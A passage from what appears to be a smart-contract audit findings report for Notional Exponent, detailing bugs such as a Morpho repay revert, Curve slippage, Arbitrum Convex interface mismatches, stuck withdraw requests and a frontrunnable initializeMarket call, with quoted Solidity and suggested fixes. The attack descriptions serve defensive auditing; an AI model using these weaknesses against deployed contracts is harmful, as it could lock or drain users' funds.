192: sharesToRepay = MORPHO.position(morphoId(m), onBehalf).borrowShares;
193: assetToRepay = 0;
194: }
195:
196: bytes memory repayData = abi.encode(
197: onBehalf, vault, asset, receiver, sharesToRedeem, redeemData, _isMigrate(receiver)
198: );
199:
200: // Will trigger a callback to onMorphoRepay
201: MORPHO.repay(m, assetToRepay, sharesToRepay, onBehalf, repayData);
202: }
Note that both assetToRepay and sharesToRepay are zero (0). At Line 201 above, the Morpho.repay() function will be executed with the following parameter values:
MORPHO.repay(m, assetToRepay, sharesToRepay, onBehalf, repayData);
MORPHO.repay(m, 0, 0, onBehalf, repayData); When inspecting Morpho's Morpho.repay() function, the repay function will revert at Line 278 due to the UtilsLib.exactlyOneZero(assets, shares) check because assets and shares cannot be both zero at the same time.
File: Morpho.sol
269: function repay(
270: MarketParams memory marketParams,
271: uint256 assets, // @audit-info if migrate, assets = assetToRepay = 0
272: uint256 shares, // @audit-info if migrate, shares = MORPHO.position(morphoId(m), onBehalf).borrowShares;
273: address onBehalf,
274: bytes calldata data
275: ) external returns (uint256, uint256) {
276: Id id = marketParams.id();
277: require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
278: require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
279: require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);File: UtilsLib.sol
11: library UtilsLib {
12: /// @dev Returns true if there is exactly one zero among `x` and `y`.
13: function exactlyOneZero(uint256 x, uint256 y) internal pure returns (bool z) {
14: assembly {
15: z := xor(iszero(x), iszero(y))
16: }
17: }Medium. Migration function is a core functionality in the protocol. This report shows that the migration will be DOS or not work under certain edge case.
No response
Skip the repayment if debt is zero, and proceed with the migration.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/9
Issue M-18: Reducing liquidity in the hardcoded Curve sDAI/sUSDe pool leads to unnecessary slippage loss
Source: #677
xiaoming90
Maker's Savings DAI (sDAI) is the old version of SKY's Savings USDS (sUSDS). The OG Maker DAI protocol has migrated to the new SKY protocol. sDAI is issued by old Maker DAI while sUSDS is issued by new SKY protocol.
This part of the code, where sUSDe is swapped to sDAI and then swapped to the asset token, is taken from the old Notional code during the period when Maker had not migrated to SKY yet. In the past, the sDAI/sUSDe curve pool has had larger liquidity.
However, eventually, the liquidity in the hardcoded Curve sDAI/sUSDe (0x167478921b907422F8E88B43C4Af2B8BEa278d3A) pool will decrease as users migrate over to the newer sUSDS since the newer SKY protocol is where the majority of the incentives are allocated at the moment. Users will be incentivized to move to sUSDS over time.
The following is the on-chain liquidity data of the Curve sDAI/sUSDe pool, showing that the balance of sDAI steadily decreases over time, aligned with the points mentioned above.
-
12 month ago (Apr-06-2024)(19600000) - 6.4 million sDAI
-
6 month ago (Jan-11-2025)(Block - 21600000) - 6.2 million sDAI
-
3 months ago (Apr-04-2025) 22196000 - 5.6 million sDAI
-
Today (Jul-13-2025) - 5.2 million sDAI
If the liquidity is reduced or decreased to a lower level, the users are still forced to swap with this curve pool due to the hardcoded swap logic here (sUSDe -> sDAI -> assets), incurring unnecessary slippage due to low liquidity in Curve sDAI/sUSDe pool.
File: PendlePT_sUSDe.sol
23: /// @notice The vast majority of the sUSDe liquidity is in an sDAI/sUSDe curve pool.
24: /// sDAI has much greater liquidity once it is unwrapped as DAI so that is done manually
25: /// in this method.
26: function _executeInstantRedemption(
27: uint256 yieldTokensToRedeem,
28: bytes memory redeemData
29: ) internal override virtual returns (uint256 assetsPurchased) {
30: PendleRedeemParams memory params = abi.decode(redeemData, (PendleRedeemParams));
31: uint256 netTokenOut = _redeemPT(yieldTokensToRedeem, params.limitOrderData);
32:
33: Trade memory sDAITrade = Trade({
34: tradeType: TradeType.EXACT_IN_SINGLE,
35: sellToken: address(sUSDe),
36: buyToken: address(sDAI),
37: amount: netTokenOut,
38: limit: 0, // NOTE: no slippage guard is set here, it is enforced in the second leg
39: // of the trade.
40: deadline: block.timestamp,
41: exchangeData: abi.encode(CurveV2SingleData({
42: pool: 0x167478921b907422F8E88B43C4Af2B8BEa278d3A,
43: fromIndex: 1, // sUSDe
44: toIndex: 0 // sDAI
45: }))
46: });High. Loss of funds due to unnecessary slippage
No response
No response
Source: #678
dan__vinci, elolpuer, khaye26, xiaoming90
Per the contest's README, Base and Arbitrum are in-scope for this contest. Sherlock's Judge has further confirmed this in the Discord channel.
Q: On what chains are the smart contracts going to be deployed? Ethereum, in the future we will consider Base or Arbitrum
It was found that the Curve LP token will be deposited to Convex via the IConvexBooster(CONVEX_BOOSTER).deposit(CONVEX_POOL_ID, lpTokens, true) interface/function.
File: CurveConvex2Token.sol
291: function _stakeLpTokens(uint256 lpTokens) internal {
292: if (CONVEX_BOOSTER != address(0)) {
293: bool success = IConvexBooster(CONVEX_BOOSTER).deposit(CONVEX_POOL_ID, lpTokens, true);
294: require(success);
295: } else {
296: ICurveGauge(CURVE_GAUGE).deposit(lpTokens);
297: }
298: }The following is that Booster contract address taken from the official documentation (https://docs.convexfinance.com/convexfinance/faq/contract-addresses):
Ethereum
- Booster(main deposit contract): 0xF403C135812408BFbE8713b5A23a04b3D48AAE31
//deposit lp tokens and stake
function deposit(uint256 _pid, uint256 _amount, bool _stake) public returns(bool){
require(!isShutdown,"shutdown");
PoolInfo storage pool = poolInfo[_pid];
require(pool.shutdown == false, "pool is closed");Arbitrum
//deposit lp tokens and stake
function deposit(uint256 _pid, uint256 _amount) public returns(bool){
require(!isShutdown,"shutdown");
PoolInfo storage pool = poolInfo[_pid];
require(pool.shutdown == false, "pool is closed");Notice that the interface of the deposit function in Arbitrum is different from Ethereum. Arbitum's deposit function only accept two parameters while Ethereum's deposit function requires three parameters.
Thus, when attempting to deposit Curve LP tokens to Convex in Arbitrum, the transaction revert due to incorrect function interfaces.
The protocol will not work because staking the LP token will cause the entire transaction to revert, preventing anyone from entering the position.
No response
function _stakeLpTokens(uint256 lpTokens) internal {
if (CONVEX_BOOSTER != address(0)) {
+ bool success;
+ if (Deployments.CHAIN_ID == Constants.CHAIN_ID_MAINNET) {
- bool success = IConvexBooster(CONVEX_BOOSTER).deposit(CONVEX_POOL_ID, lpTokens, true);
+ success = IConvexBooster(CONVEX_BOOSTER).deposit(CONVEX_POOL_ID, lpTokens, true);
} else if (Deployments.CHAIN_ID == Constants.CHAIN_ID_ARBITRUM) {
+ success = IConvexBoosterArbitrum(CONVEX_BOOSTER).deposit(CONVEX_POOL_ID, lpTokens);
+ }
require(success);
} else {
ICurveGauge(CURVE_GAUGE).deposit(lpTokens);
}
}Source: #684
0xKemah, 0xenzo, Audinarey, EddiePumpin, LhoussainePh, Pro_King, SOPROBRO, jasonxiale, molaratai, oxwhite, theweb3mechanic
The protocol allows users to repay debt partially through the exitPosition() function, even if a minimal amount of debt remains (e.g., 1 wei). Since liquidation incentives are proportional to the repaid debt and gas costs are fixed, such positions offer no economic incentive for liquidators. As a result, these small debt positions accumulate over time, becoming unliquidatable and potentially leading to long-term protocol insolvency.
When users open a position without providing upfront collateral by calling enterPosition() with a non-zero borrowAmount and a depositAssetAmount of zero. The protocol takes a flashloan from Morpho for the borrow amount, mints shares with it, supplies those shares as collateral to Morpho, and then borrows the same amount to repay the flashloan resulting in a position where collateral equals the borrowed amount.
If a deposit is provided, the collateral becomes greater than the debt. So collateral can be >= borrowAmmount .
This logic enables fully collateralized positions with little or no initial user capital.
//AbstractLendingRouter.sol
L56: function enterPosition(
address onBehalf,
address vault,
uint256 depositAssetAmount,
uint256 borrowAmount,
bytes calldata depositData
) public override isAuthorized(onBehalf, vault) {
_enterPosition(onBehalf, vault, depositAssetAmount, borrowAmount, depositData, address(0));
}
L79: function _enterPosition(
address onBehalf,
address vault,
uint256 depositAssetAmount,
uint256 borrowAmount,
bytes memory depositData,
address migrateFrom
) internal {
...
@> if (depositAssetAmount > 0) {
// Take any margin deposit from the sender initially
ERC20(asset).safeTransferFrom(msg.sender, address(this), depositAssetAmount);
}
@> if (borrowAmount > 0) {
_flashBorrowAndEnter(
onBehalf, vault, asset, depositAssetAmount, borrowAmount, depositData, migrateFrom
);
} else {
_enterOrMigrate(onBehalf, vault, asset, depositAssetAmount, depositData, migrateFrom);
...When repaying through exitPosition(),
//AbstractLendingRouter.sol
function exitPosition(
address onBehalf,
address vault,
address receiver,
uint256 sharesToRedeem,
uint256 assetToRepay,
bytes calldata redeemData
) external override isAuthorized(onBehalf, vault) {
_checkExit(onBehalf, vault);
address asset = IYieldStrategy(vault).asset();
if (0 < assetToRepay) {
L120: _exitWithRepay(onBehalf, vault, asset, receiver, sharesToRedeem, assetToRepay, redeemData);
} else {
...
}a borrower can make partial repayments that reduce their debt to extremely small amounts, such as 1 wei. These minimal debt positions offer no meaningful incentive for liquidators, who must cover fixed gas costs to execute liquidation but receive rewards that are too small especially on Ethereum mainnet which is the only chain the contract will be deployed to.
- Borrower must borrow small amounts such as 1 wei.
- Or reduce his debt positions to 1 wei
none
none
-
Positions with tiny debt amounts remain permanently unliquidated.
-
Over time, these accumulate and skew the protocol’s debt accounting and solvency assumptions.
No response
- Enforce a minimum borrow size
- Or prevent users from leaving behind trivial debt after repay or withdrawal.
Source: #692
HeckerTrieuTien, Ledger_Patrol, auditgpt, coin2own, dan__vinci, xiaoming90
- Handling of multiple withdraw requests (WRs) is not robust enough, and the failure of one can cause the entire WRs to be stuck even though the rest of the WRs have finalized successfully.
- Lack of minimum position size could cause a revert to occur during redemption, blocking the WR from finalizing. See the main report for more details.
Both WRs must be finalized before the redemption is allowed to be executed, as shown in Line 397 below.
File: AbstractSingleSidedLP.sol
378: function finalizeAndRedeemWithdrawRequest(
379: address sharesOwner,
380: uint256 sharesToRedeem
381: ) external override returns (uint256[] memory exitBalances, ERC20[] memory withdrawTokens) {
382: ERC20[] memory tokens = TOKENS();
383:
384: exitBalances = new uint256[](tokens.length);
385: withdrawTokens = new ERC20[](tokens.length);
386:
387: WithdrawRequest memory w;
388: for (uint256 i; i < tokens.length; i++) {
389: IWithdrawRequestManager manager = ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
390: (w, /* */) = manager.getWithdrawRequest(address(this), sharesOwner);
391:
392: uint256 yieldTokensBurned = uint256(w.yieldTokenAmount) * sharesToRedeem / w.sharesAmount;
393: bool finalized;
394: (exitBalances[i], finalized) = manager.finalizeAndRedeemWithdrawRequest({
395: account: sharesOwner, withdrawYieldTokenAmount: yieldTokensBurned, sharesToBurn: sharesToRedeem
396: });
397: if (!finalized) revert WithdrawRequestNotFinalized(w.requestId);
398: withdrawTokens[i] = ERC20(manager.WITHDRAW_TOKEN());
399: }
400: }However, the issue is that if one of the WRs cannot be finalized due to various reasons, such as:
- Insufficient funds/liquidity at the external protocol
- Validator of the Liquid Staking protocol suffers a massive slashing event, leading to insufficient liquidity to repay users
- External protocol being compromised or paused
- External protocol's finalize redemption/withdrawal function keeps reverting (can be due to an unintentional bug or malicious acts)
- If the WR is handling ERC4626 vault share, it sometimes might revert during redemption. A common revert during redemption is a classic zero share check (e.g.,
require((assets = previewRedeem(shares)) != 0, "ZERO_ASSETS");)that blocks the redemption when the assets received are zero, which might occur due to rounding errors. This generally occurs when the share to be redeemed is small, and since Notional does not enforce a minimum position size, this issue can theoretically arise. One example of such is the PirexETH that is in-scope, where it will revert if the assets received round down to zero (see here). Same for AutoPxETH (See here). There are two (2) root causes here: 1) Lack of minimum position size 2) Handling of multiple WRs are not robust enough and the failure of one can cause entire WRs to be stuck. - To add-on to the previous point, some staking protocols (e.g., LIDO) enforced a minimum withdrawal amount. If the amount of LST to be unstaked is less than the minimum withdrawal amount, the redemption cannot be carried out. LIDO is one of the protocols that enforce this. Since there is no minimum position size when entering the position, this is likely to occur. In this case, such a WR cannot be finalized or even initiate withdrawal. Since the Contest's README here, mentioned that
Notional Exponent is designed to be extendable to new yield strategies and opportunities as well as new lending platforms., this point is valid as this issue will occur when they extended to other platforms such as LIDO.
The funds in the other WR will remain stuck and be lost.
Assume a Curve two-token pool with wstETH (7-day withdrawal period + subject to redemption queue) and USDC (no withdrawal period).
When the user initiates the withdrawal, there will be two (2) separate withdrawal requests (WR) created. First WR holds 100 wstETH and is currently pending the withdrawal period to be completed, while the second WR holds 115 WETH.
If LIDO is compromised, the first WR will not be able to be finalized, as there is no guarantee that LIDO's redemption will resume after the hack, as they may not recover from the hack.
In this case, since the requirement is that both WRs must be finalized, even though the 115 WETH can be withdrawn immediately, the protocol doesn't allow the user to do so. Thus, instead of losing around 50% of the total funds due to the LIDO hack, the user ends up allowing 100% of the funds as the entire fund is stuck.
High. Funds will get stuck if this issue happens.
No response
No response
Issue M-22: Setup with asset = WETH and a Curve pool that contains Native ETH will lead to a loss for the users
Source: #708
xiaoming90
Assume a Yield Strategy vault where its asset is WETH and the Curve Pool is Native ETH/wstETH. In this case, calling the TOKENS() function will return:
- tokens[0] = Curve's
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE= Converted to0x0000(Native ETH) during initialization - tokens[1] = 0xB82381A3fBD3FaFA77B3a7bE693342618240067b (wstETH)
File: CurveConvex2Token.sol
162: function TOKENS() internal view override returns (ERC20[] memory) {
163: ERC20[] memory tokens = new ERC20[](_NUM_TOKENS);
164: tokens[0] = ERC20(TOKEN_1);
165: tokens[1] = ERC20(TOKEN_2);
166: return tokens;
167: }The _PRIMARY_INDEX will be set to 0, which is the first token of the Curve pool. The condition at Line 59 will evaluate to True.
File: CurveConvex2Token.sol
57: // Assets may be WETH, so we need to unwrap it in this case.
58: _PRIMARY_INDEX =
59: (TOKEN_1 == _asset || (TOKEN_1 == ETH_ADDRESS && _asset == address(WETH))) ? 0 :
60: (TOKEN_2 == _asset || (TOKEN_2 == ETH_ADDRESS && _asset == address(WETH))) ? 1 :
61: // Otherwise the primary index is not set and we will not be able to enter or exit
62: // single sided.
63: type(uint8).max;During the exiting the position, liquidation, or initiating withdrawal, the LP tokens will be unstaked/redeemed from Curve or Convex. Let's review these three (3) operations.
Initiating withdrawal
Initiating withdrawal will eventually call the unstakeAndExitPool function below. After calling the _unstakeLpTokens() and _exitPool() functions in Lines 201 and 203 below, the vault will receive back 100 Native ETH and 100 wstETH (as an example).
Note
Note that when initiating a withdrawal, it will always exit proportionally, and not single-sided as per here. Users do not have the option to choose whether they want to exit proportionally or single-sidedly during the initiation of a withdrawal.
Subsequently, the 100 Native ETH will be wrapped to 100 WETH in Line 207 below with the WETH.deposit() function. So, there is zero Native ETH left in the vault. At this point, the balance of the vault is: 100 WETH + 100 wstETH.
File: CurveConvex2Token.sol
198: function unstakeAndExitPool(
199: uint256 poolClaim, uint256[] memory _minAmounts, bool isSingleSided
200: ) external returns (uint256[] memory exitBalances) {
201: _unstakeLpTokens(poolClaim);
202:
203: exitBalances = _exitPool(poolClaim, _minAmounts, isSingleSided);
204:
205: if (ASSET == address(WETH)) {
206: if (TOKEN_1 == ETH_ADDRESS) {
207: WETH.deposit{value: exitBalances[0]}();
208: } else if (TOKEN_2 == ETH_ADDRESS) {
209: WETH.deposit{value: exitBalances[1]}();
210: }
211: }
212: }Since two tokens (Native ETH and wstETH) are being returned, this is not a single-sided exit. Thus, the _executeRedemptionTrades function in Line 176 will be executed.
File: AbstractSingleSidedLP.sol
145: function _redeemShares(
146: uint256 sharesToRedeem,
147: address sharesOwner,
148: bool isEscrowed, // @audit-info True if there is pending withdraw request
149: bytes memory redeemData
150: ) internal override {
151: RedeemParams memory params = abi.decode(redeemData, (RedeemParams));
152:
153: // Stores the amount of each token that has been withdrawn from the pool.
154: uint256[] memory exitBalances;
155: bool isSingleSided;
156: ERC20[] memory tokens;
157: if (isEscrowed) {
158: // Attempt to withdraw all pending requests, tokens may be different if there
159: // is a withdraw request.
160: (exitBalances, tokens) = _withdrawPendingRequests(sharesOwner, sharesToRedeem);
161: // If there are pending requests, then we are not single sided by definition
162: isSingleSided = false;
163: } else {
164: isSingleSided = params.redemptionTrades.length == 0;
165: uint256 yieldTokensBurned = convertSharesToYieldToken(sharesToRedeem);
166: exitBalances = _unstakeAndExitPool(yieldTokensBurned, params.minAmounts, isSingleSided);
167: tokens = TOKENS();
168: }
169:
170: if (!isSingleSided) {
171: // If not a single sided trade, will execute trades back to the primary token on
172: // external exchanges. This method will execute EXACT_IN trades to ensure that
173: // all of the balance in the other tokens is sold for primary.
174: // Redemption trades are not automatically enabled on vaults since the trading module
175: // requires explicit permission for every token that can be sold by an address.
176: _executeRedemptionTrades(tokens, exitBalances, params.redemptionTrades);
177: }
178: }Recall that:
- tokens[0] = 0x0000 (Native ETH)
- tokens[1] = 0xB82381A3fBD3FaFA77B3a7bE693342618240067b (wstETH)
Note that the condition in Line 229 of the _executeRedemptionTrades() function below will never be True because:
if (address(tokens[i]) == address(asset))
if (address(0x0) == WETH)
if (false)In the first iteration of the for-loop, the Trade.sellToken will be set to 0x0000 (Native ETH), which means it will attempt to sell 100 Native ETH. However, the issue here is that when it attempts to sell 100 Native ETH, the trade module will revert due to insufficient balance because the vault does not have 100 Native ETH.
File: AbstractSingleSidedLP.sol
223: function _executeRedemptionTrades(
224: ERC20[] memory tokens,
225: uint256[] memory exitBalances,
226: TradeParams[] memory redemptionTrades
227: ) internal returns (uint256 finalPrimaryBalance) {
228: for (uint256 i; i < exitBalances.length; i++) {
229: if (address(tokens[i]) == address(asset)) {
230: finalPrimaryBalance += exitBalances[i];
231: continue;
232: }
233:
234: TradeParams memory t = redemptionTrades[i];
235: // Always sell the entire exit balance to the primary token
236: if (exitBalances[i] > 0) {
237: Trade memory trade = Trade({
238: tradeType: t.tradeType,
239: sellToken: address(tokens[i]),
240: buyToken: address(asset),
241: amount: exitBalances[i],
242: limit: t.minPurchaseAmount,
243: deadline: block.timestamp,
244: exchangeData: t.exchangeData
245: });
246: (/* */, uint256 amountBought) = _executeTrade(trade, t.dexId);
247:
248: finalPrimaryBalance += amountBought;
249: }
250: }
251: }Due to the revert, this means that in this setup, none of the users can initiate a withdrawal request because initiating a withdrawal request will always exit proportionally. As shown above, it will ultimately result in a revert.
Exiting position and liquidation
How about exiting position and liquidation? Are these two critical operations affected by this revert? If these operations are performed via proportional exit, it will eventually revert the transaction too. However, these operations give callers the option to choose if they want to exit proportional or single-sided.
Let's see if we can workaround this problem by performing a single-side exit by setting params.redemptionTrades.length == 0 since we already know that proportional exit does not work, as discussed earlier.
When the _exitPool() function below is executed, the exit balances will be as follows (assume 1 wstETH = 1 ETH):
- exitBalances[PRIMARY_INDEX] = exitBalances[0] = 200 Native ETH
- exitBalances[1] = 0
200 Native ETH were later swapped for 200 WETH. It works as intended as all LP tokens have been redeemed back to the asset token (200 WETH)
File: CurveConvex2Token.sol
244: function _exitPool(
245: uint256 poolClaim, uint256[] memory _minAmounts, bool isSingleSided
246: ) internal returns (uint256[] memory exitBalances) {
247: if (isSingleSided) {
248: exitBalances = new uint256[](_NUM_TOKENS);
249: if (CURVE_INTERFACE == CurveInterface.V1 || CURVE_INTERFACE == CurveInterface.StableSwapNG) {
250: // Method signature is the same for v1 and stable swap ng
251: exitBalances[_PRIMARY_INDEX] = ICurve2TokenPoolV1(CURVE_POOL).remove_liquidity_one_coin(
252: poolClaim, int8(_PRIMARY_INDEX), _minAmounts[_PRIMARY_INDEX]
253: );
254: } else {
255: exitBalances[_PRIMARY_INDEX] = ICurve2TokenPoolV2(CURVE_POOL).remove_liquidity_one_coin(
256: // Last two parameters are useEth = true and receiver = this contract
257: poolClaim, _PRIMARY_INDEX, _minAmounts[_PRIMARY_INDEX], true, address(this)
258: );
259: }
260: } else {In summary, during exiting position and liquidation, the user is always forced to perform a single-sided exit via Curve's remove_liquidity_one_coin. Forcing users to perform a single-sided exit is an issue here.
However, the problem here is that due to the AMM and fee math in the Curve pool, any single-asset withdrawals that worsen the pool imbalance will incur a greater imbalance penalty. Thus, if the Curve pool is imbalanced, the single-sided exit will result in fewer assets being received.
Exiting position and liquidation
High, as this led to a loss of assets during the forced single-sided exit.
The impact is similar to the past Notional contest issues (sherlock-audit/2023-10-notional-judging#87 and sherlock-audit/2023-10-notional-judging#82), which are judged as a valid High.
Initiating withdrawal request
Users are unable to initiate a withdrawal request due to a revert. In this case, users are always forced to swap their yield tokens for asset tokens via a DEX, which incurs unnecessary slippage and fees.
No response
No response
Source: #717
auditgpt, touristS, xiaoming90
If any of the tokens of the Curve Pool are Native ETH (0xEEEEE...), the _rewriteAltETH() function at Lines 54 and 55 will rewrite the address from 0xEEEEE to 0x00000.
File: CurveConvex2Token.sol
39: constructor(
40: uint256 _maxPoolShare,
41: address _asset,
42: address _yieldToken,
43: uint256 _feeRate,
44: address _rewardManager,
45: DeploymentParams memory params,
46: IWithdrawRequestManager _withdrawRequestManager
47: ) AbstractSingleSidedLP(_maxPoolShare, _asset, _yieldToken, _feeRate, _rewardManager, 18, _withdrawRequestManager) {
48: CURVE_POOL_TOKEN = ERC20(params.poolToken);
49:
50: // We interact with curve pools directly so we never pass the token addresses back
51: // to the curve pools. The amounts are passed back based on indexes instead. Therefore
52: // we can rewrite the token addresses from ALT Eth (0xeeee...) back to (0x0000...) which
53: // is used by the vault internally to represent ETH.
54: TOKEN_1 = _rewriteAltETH(ICurvePool(params.pool).coins(0));
55: TOKEN_2 = _rewriteAltETH(ICurvePool(params.pool).coins(1));Assume a Curve pool with the first token is Native ETH, while the second token is a normal ERC20 token (e.g., wstETH). In this case, calling the TOKENS() function will return:
- tokens[0] = 0x0000 (Native ETH)
- tokens[1] = 0xB82381A3fBD3FaFA77B3a7bE693342618240067b (wstETH)
File: CurveConvex2Token.sol
162: function TOKENS() internal view override returns (ERC20[] memory) {
163: ERC20[] memory tokens = new ERC20[](_NUM_TOKENS);
164: tokens[0] = ERC20(TOKEN_1);
165: tokens[1] = ERC20(TOKEN_2);
166: return tokens;
167: }When computing the value of the Curve LP token, the getWithdrawRequestValue() function will attempt to loop through all tokens in Line 326 below.
File: AbstractSingleSidedLP.sol
319: function getWithdrawRequestValue(
320: address account,
321: address asset,
322: uint256 shares
323: ) external view returns (uint256 totalValue) {
324: ERC20[] memory tokens = TOKENS();
325:
326: for (uint256 i; i < tokens.length; i++) {
327: IWithdrawRequestManager manager = ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
328: // This is called as a view function, not a delegate call so use the msg.sender to get
329: // the correct vault address
330: (bool hasRequest, uint256 value) = manager.getWithdrawRequestValue(msg.sender, account, asset, shares);
331: // Ensure that this is true so that we do not lose any value.
332: require(hasRequest);
333: totalValue += value;
334: }
335: }In the first iteration, where tokens[0] = 0x0000 (Native ETH), it will execute the following code at Line 327:
IWithdrawRequestManager manager = ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
IWithdrawRequestManager manager = ADDRESS_REGISTRY.getWithdrawRequestManager(address(0));It will attempt to fetch the Withdraw Request Manager for Native ETH (0x0).
However, it will revert because there is no Withdraw Request Manager (WRM) for Native ETH. There is only WRM for Standard ERC20, but not Native ETH.
The BaseLPLib.hasPendingWithdrawals() function is also affected by the same issue when looping through all the tokens to obtain the WRM.
File: AbstractSingleSidedLP.sol
338: function hasPendingWithdrawals(address account) external view override returns (bool) {
339: ERC20[] memory tokens = TOKENS();
340: for (uint256 i; i < tokens.length; i++) {
341: IWithdrawRequestManager manager = ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
342: if (address(manager) == address(0)) continue;
343: // This is called as a view function, not a delegate call so use the msg.sender to get
344: // the correct vault address
345: (WithdrawRequest memory w, /* */) = manager.getWithdrawRequest(msg.sender, account);
346: if (w.requestId != 0) return true;
347: }
348:
349: return false;
350: }Same for BaseLPLib.initiateWithdraw(), BaseLPLib.finalizeAndRedeemWithdrawRequest(), BaseLPLib.tokenizeWithdrawRequest().
High. This issue is aggravated by the fact that the protocol is designed to handle depositing Native ETH to Curve pool, but the problem will surface during withdrawal and liquidation. In the worst-case scenario, users deposit funds into the protocol but are unable to withdraw them, resulting in their funds being stuck.
Additionally, core functionality is broken, as Curve Pool with Native ETH will not work with the protocol.
No response
No response
Issue M-24: Convex cannot be configured for the Yield Strategy vault in Arbitrum even though Convex is available in Arbitrum
Source: #775
0xRstStn, 0xShoonya, Atharv, Ledger_Patrol, anchabadze, h2134, holtzzx, jasonxiale, kangaroo, lodelux, theweb3mechanic, xiaoming90
Per the contest's README, Base and Arbitrum are in-scope for this contest. Sherlock's Judge has further confirmed this in the Discord channel.
Q: On what chains are the smart contracts going to be deployed? Ethereum, in the future we will consider Base or Arbitrum
However, it was observed that Convex cannot be configured for the Yield Strategy vault in Arbitum even though Convex is available in Arbitrum.
In Line 137, the block.chainid == CHAIN_ID_MAINNET condition will always be false in Arbitrum and thus the convexBooster can never be configured.
File: CurveConvex2Token.sol
115: constructor(
116: address _token1,
117: address _token2,
118: address _asset,
119: uint8 _primaryIndex,
120: DeploymentParams memory params
121: ) {
122: TOKEN_1 = _token1;
123: TOKEN_2 = _token2;
124: ASSET = _asset;
125: _PRIMARY_INDEX = _primaryIndex;
126:
127: CURVE_POOL = params.pool;
128: CURVE_GAUGE = params.gauge;
129: CURVE_POOL_TOKEN = ERC20(params.poolToken);
130: CURVE_INTERFACE = params.curveInterface;
131:
132: // If the convex reward pool is set then get the booster and pool id, if not then
133: // we will stake on the curve gauge directly.
134: CONVEX_REWARD_POOL = params.convexRewardPool;
135: address convexBooster;
136: uint256 poolId;
137: if (block.chainid == CHAIN_ID_MAINNET && CONVEX_REWARD_POOL != address(0)) {
138: convexBooster = IConvexRewardPool(CONVEX_REWARD_POOL).operator();
139: poolId = IConvexRewardPool(CONVEX_REWARD_POOL).pid();
140: }
141:
142: CONVEX_POOL_ID = poolId;
143: CONVEX_BOOSTER = convexBooster;
144: }Medium. Core functionality is broken.
No response
No response
Source: #779
xiaoming90
- Revert can occur in
getWithdrawRequestValue()function, which the criticalprice()function depends on, due to a lack of proper error handling. - Incorrect assumption that the exit balance will never be zero under any circumstances.
Main Issue
It was found that when computing the value of the withdraw request, it will attempt to loop through all Cruve's pool tokens and check if there is a withdraw request for the current token. If not, the transaction will revert in Line 332 below.
The issue is that if it is ever possible to cause a revert in Line 332, it will be a serious issue because Morpho can no longer fetch the price. The Notional's price() relies on the getWithdrawRequestValue() function. If the price() reverts when Morpho is reading it, the affected account's position will be stuck forever, as none of the operations (exit position, repay debt, withdraw collateral, liquidation) can be performed.
File: AbstractSingleSidedLP.sol
319: function getWithdrawRequestValue(
320: address account,
321: address asset,
322: uint256 shares
323: ) external view returns (uint256 totalValue) {
324: ERC20[] memory tokens = TOKENS();
325:
326: for (uint256 i; i < tokens.length; i++) {
327: IWithdrawRequestManager manager = ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
328: // This is called as a view function, not a delegate call so use the msg.sender to get
329: // the correct vault address
330: (bool hasRequest, uint256 value) = manager.getWithdrawRequestValue(msg.sender, account, asset, shares);
331: // Ensure that this is true so that we do not lose any value.
332: require(hasRequest);
333: totalValue += value;
334: }
335: }Let's review if there is a possibility where the revert in Line 332 can be triggered.
It was found that it is possible under certain conditions. If the exit balance of one of the tokens is zero, no withdraw request will be created for that specific token, as shown in Line 362. Creation of the withdraw request will be skipped.
File: AbstractSingleSidedLP.sol
353: function initiateWithdraw(
354: address account,
355: uint256 sharesHeld,
356: uint256[] calldata exitBalances,
357: bytes[] calldata withdrawData
358: ) external override returns (uint256[] memory requestIds) {
359: ERC20[] memory tokens = TOKENS();
360:
361: requestIds = new uint256[](exitBalances.length);
362: for (uint256 i; i < exitBalances.length; i++) {
363: if (exitBalances[i] == 0) continue;
364: IWithdrawRequestManager manager = ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
365:
366: tokens[i].checkApprove(address(manager), exitBalances[i]);
367: // Will revert if there is already a pending withdraw
368: requestIds[i] = manager.initiateWithdraw({
369: account: account,
370: yieldTokenAmount: exitBalances[i],
371: sharesAmount: sharesHeld,
372: data: withdrawData[i]
373: });
374: }
375: }Thus, the current implementation will only work if there is an assumption or invariant that the exit balance of any tokens can never be zero under any circumstances.
However, this assumption and the invariant do not hold at all times due to the following reasons:
- If users have almost entirely swapped out one token, leaving its balance nearly or exactly zero, then proportional withdrawal will result in zero for that token. If it is near zero or an extremely small amount, the returned token amount might round down to zero.
- Notional does not enforce a minimum position size. Thus, if the position is tiny, the LP token to be exited will be tiny, and withdrawal for a given token can round down to zero. Tokens with small decimal precision (e.g, USDC=6, WBTC=8) are more susceptible to this rounding problem.
- After a major “depeg event” or manipulation, one token could be totally depleted
Funds are being stuck as shown in the scenario above.
No response
No response
Issue M-26: initializeMarket can be frontran, preventing markets from being configured in MorphoLendingRouter
Source: #834
0xBoraichoT, 0xPhantom2, 0xRstStn, 0xodus, 0xpiken, Hueber, Ragnarok, X0sauce, coffiasd, dan__vinci, patitonar, underdog, xiaoming90, y4y
initializeMarket can be frontran, creating the same morpho market as the expected when initializing.
In MorphoLendingRouter.sol#L51, the router will try to initialize a market for a certain market params configuration. Note that initializeMarket is the only way to store data for the vault in the corresponding s_morphoParams mapping, and it is critical that this mapping is written to, as marketParams() wwill [fetch some of the data from the stored mapping(https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/routers/MorphoLendingRouter.sol#L59), and this function is used across the whole router contract.
The problem is that anybody can frontrun the initialization by directly calling morpho's createMarket() function, creating the same market. After that, the initialization will fail because Morpho ensures that the same market can only be created once. Because of this, markets initializations will be dos'ed, and the router won't be usable for the corresponding vault with the desired market params.
None.
None.
upgradeAdmincallsinitializeMarket- Malicious user frontruns the call, calling Morpho's
createMarketwith the same market params as the initialization. initializeMarketfails due to the check in market creation.
